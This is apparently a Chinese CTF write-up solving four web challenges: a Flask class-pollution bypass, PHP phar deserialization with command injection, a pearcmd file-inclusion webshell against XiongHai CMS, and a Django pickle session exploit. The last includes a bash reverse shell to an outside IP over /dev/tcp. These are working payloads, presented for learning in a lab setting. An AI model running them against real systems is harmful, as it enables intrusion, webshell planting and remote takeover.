目录
EzFlask
MyPicDisk
ez_cms
ez_py
让俺看看401web题
EzFlask
进来直接给了源码
import uuidfrom flask import Flask, request, session
from secret import black_list
import jsonapp = Flask(__name__)
app.secret_key = str(uuid.uuid4())def check(data):for i in black_list:if i in data:return Falsereturn Truedef merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)class user():def __init__(self):self.username = ""self.password = ""passdef check(self, data):if self.username == data['username'] and self.password == data['password']:return Truereturn FalseUsers = []@app.route('/register',methods=['POST'])
def register():if request.data:try:if not check(request.data):return "Register Failed"data = json.loads(request.data)if "username" not in data or "password" not in data:return "Register Failed"User = user()merge(data, User)Users.append(User)except Exception:return "Register Failed"return "Register Success"else:return "Register Failed"@app.route('/login',methods=['POST'])
def login():if request.data:try:data = json.loads(request.data)if "username" not in data or "password" not in data:return "Login Failed"for user in Users:if user.check(data):session["username"] = data["username"]return "Login Success"except Exception:return "Login Failed"return "Login Failed"@app.route('/',methods=['GET'])
def index():return open(__file__, "r").read()if __name__ == "__main__":app.run(host="0.0.0.0", port=5010)
/register一眼python原型链污染
参考文章：Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖
flask中blask_list的绕过：以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区
waf过滤了__init__，用unicode编码绕过即可
payload:
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"__globals__" : {"__file__" : "/proc/1/environ"}}}
}
成功污染__file__
然后再访问初始界面，读到环境变量的flag
MyPicDisk
万能密码登录成功
再修改万能密码
显示登录成功
随即又跳转回
抓包看下
访问/y0u_cant_find_1t.zip拿到源码
拖进Seay里扫一下
在FILE类的__destruct中存在一个命令执行的拼接
可以白名单后缀的上传文件
md5_file属于文件操作，可以触发phar反序列化
生成恶意phar文件
<?php
class FILE{public $filename=";cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd >flag.txt";public $lasttime;public $size;public function remove(){unlink($this->filename);}public function show(){echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";}
}#获取phar包
$phar = new Phar("401.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");$o = new FILE();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>文件上传表单
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>File Upload Form</title>
</head>
<body><h1>Upload a File</h1><!-- 文件上传表单 --><form action="http://7d3089a6-31f1-40e4-bddb-faf9758f4ef9.node5.buuoj.cn:81/index.php" method="post" enctype="multipart/form-data"><p><label for="file">Choose file to upload:</label><input type="file" id="file" name="file" required></p><p><button type="submit">Upload File</button></p></form>
</body>
</html>
由于我们的登录账户不是admin，每执行一次登录操作，session就会被销毁一次，所以在每次操作之前，都要记得把登录的包重新发一遍，重置session，然后再表单上传文件
?file=phar://401.png&todo=md5成功触发phar反序列化，将命令执行结果写入文件
再访问/flag.txt拿到flag
ez_cms
进来是熊海CMS
(李彦宏谈百度和Google的区别...)
看到版本是V1.0
搜到历史漏洞，index.php可以任意文件包含
代码审计：熊海cms 首页文件包含漏洞复现-CSDN博客
直接打pearcmd(靶机环境的pearcmd.php路径要一番好找...)
利用pearcmd.php本地文件包含（LFI）-CSDN博客
?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST['cmd']);?>+/tmp/shell.php 
成功写马🐎
连接蚁剑，拿flag
后台也存在文件包含点
访问/admin路由，弱口令admin/123456登录
成功进入后台
继续打pearcmd
?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST['cmd']);?>+/tmp/shell.php
访问/tmp/shell.php，发现成功写入
下略
ez_py
考的Django Session pickle 反序列化
settings.py存在关键信息泄露
ROOT_URLCONF = 'openlug.urls' # for database performan SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' # use PickleSerializer SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
参考文章：
由Django-Session配置引发的反序列化安全问题-安全客 - 安全资讯平台
python安全：django的secret key泄漏导致的代码执行实践.md
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"import django.core.signingimport pickleclass PickleSerializer(object):"""Simple wrapper around pickle to be used in signing.dumps andsigning.loads."""def dumps(self, obj):return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)def loads(self, data):return pickle.loads(data)import subprocessclass Command(object):def __reduce__(self):return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 <&1"',),-1,None,None,None,None,None,False, True))out_cookie= django.core.signing.dumps(Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(out_cookie)/auth路由下在sessionid处打入触发pickle反序列化
反弹shell拿到flag
